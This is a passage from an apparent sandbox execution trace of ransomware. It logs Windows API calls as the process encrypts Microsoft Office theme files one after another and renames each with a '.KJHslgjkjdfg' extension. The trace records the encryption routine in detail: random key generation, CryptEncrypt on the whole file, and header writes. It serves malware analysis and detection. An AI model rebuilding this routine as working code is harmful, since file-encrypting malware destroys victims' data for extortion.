hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xd750, dwBufLen=0xd750 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xd750) returned 1 [0196.925] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.925] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd750, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xd750, lpOverlapped=0x0) returned 1 [0196.925] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.925] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.925] SetEndOfFile (hFile=0x124) returned 1 [0196.928] GetProcessHeap () returned 0x2a0000 [0196.928] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.928] GetProcessHeap () returned 0x2a0000 [0196.928] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.928] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx.kjhslgjkjdfg")) returned 1 [0196.930] CloseHandle (hObject=0x124) returned 1 [0196.930] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e9de00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11e9de00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x100a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flow.thmx", cAlternateFileName="FLOW~1.THM")) returned 1 [0196.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.932] GetProcessHeap () returned 0x2a0000 [0196.932] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.932] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.932] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.932] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.934] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.934] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.934] GetProcessHeap () returned 0x2a0000 [0196.934] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0196.934] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0196.934] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.934] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0196.934] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.934] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.934] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.934] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.934] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.934] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.934] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.934] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.935] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x100a8, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x100a8, lpOverlapped=0x0) returned 1 [0196.936] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x100b0, dwBufLen=0x100b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x100b0) returned 1 [0196.937] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.937] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x100b0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x100b0, lpOverlapped=0x0) returned 1 [0196.937] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.937] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.937] SetEndOfFile (hFile=0x124) returned 1 [0196.939] GetProcessHeap () returned 0x2a0000 [0196.939] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0196.939] GetProcessHeap () returned 0x2a0000 [0196.939] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.940] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx.kjhslgjkjdfg")) returned 1 [0196.941] CloseHandle (hObject=0x124) returned 1 [0196.941] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe565700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe565700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xf814, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Foundry.thmx", cAlternateFileName="FOUNDR~1.THM")) returned 1 [0196.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.943] GetProcessHeap () returned 0x2a0000 [0196.943] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.943] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.943] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.943] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xc, lpOverlapped=0x0) returned 1 [0196.945] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.945] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.945] GetProcessHeap () returned 0x2a0000 [0196.945] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.945] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0196.945] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.945] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0196.945] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.945] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.945] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.946] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.946] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.946] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.946] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.946] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.946] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf814, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xf814, lpOverlapped=0x0) returned 1 [0196.947] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xf820, dwBufLen=0xf820 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xf820) returned 1 [0196.948] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.948] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf820, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xf820, lpOverlapped=0x0) returned 1 [0196.948] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.948] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xf8f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.949] SetEndOfFile (hFile=0x124) returned 1 [0196.951] GetProcessHeap () returned 0x2a0000 [0196.951] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.951] GetProcessHeap () returned 0x2a0000 [0196.951] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.952] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx.kjhslgjkjdfg")) returned 1 [0196.953] CloseHandle (hObject=0x124) returned 1 [0196.953] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b224e00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4b224e00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd2e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Grid.thmx", cAlternateFileName="GRID~1.THM")) returned 1 [0196.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.955] GetProcessHeap () returned 0x2a0000 [0196.955] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.955] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.955] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.955] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.955] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.955] GetProcessHeap () returned 0x2a0000 [0196.955] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0196.956] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0196.956] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.956] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0196.959] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.959] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.959] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.959] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.959] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.959] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.959] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.959] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.959] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd2e0, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0xd2e0, lpOverlapped=0x0) returned 1 [0196.960] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xd2e0, dwBufLen=0xd2e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0xd2e0) returned 1 [0196.961] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.961] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd2e0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0xd2e0, lpOverlapped=0x0) returned 1 [0196.961] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.961] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd3a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.961] SetEndOfFile (hFile=0x124) returned 1 [0196.964] GetProcessHeap () returned 0x2a0000 [0196.964] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0196.964] GetProcessHeap () returned 0x2a0000 [0196.964] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx.kjhslgjkjdfg")) returned 1 [0196.965] CloseHandle (hObject=0x124) returned 1 [0196.966] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x60041, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Hardcover.thmx", cAlternateFileName="HARDCO~1.THM")) returned 1 [0196.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0196.967] GetProcessHeap () returned 0x2a0000 [0196.967] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0196.968] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0196.968] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0196.968] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0xf, lpOverlapped=0x0) returned 1 [0196.969] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.969] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.969] GetProcessHeap () returned 0x2a0000 [0196.969] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0196.969] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0196.970] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.970] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0196.970] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0196.970] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0196.970] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0196.970] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0196.970] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0196.970] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0196.970] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0196.970] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.970] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x60041, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x60041, lpOverlapped=0x0) returned 1 [0196.976] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x60050, dwBufLen=0x60050 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x60050) returned 1 [0196.979] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.979] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x60050, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x60050, lpOverlapped=0x0) returned 1 [0196.980] CryptDestroyKey (hKey=0x2c6260) returned 1 [0196.980] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x60124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.981] SetEndOfFile (hFile=0x124) returned 1 [0196.989] GetProcessHeap () returned 0x2a0000 [0196.989] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0196.989] GetProcessHeap () returned 0x2a0000 [0196.989] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0196.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx.kjhslgjkjdfg")) returned 1 [0196.991] CloseHandle (hObject=0x124) returned 1 [0196.991] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: 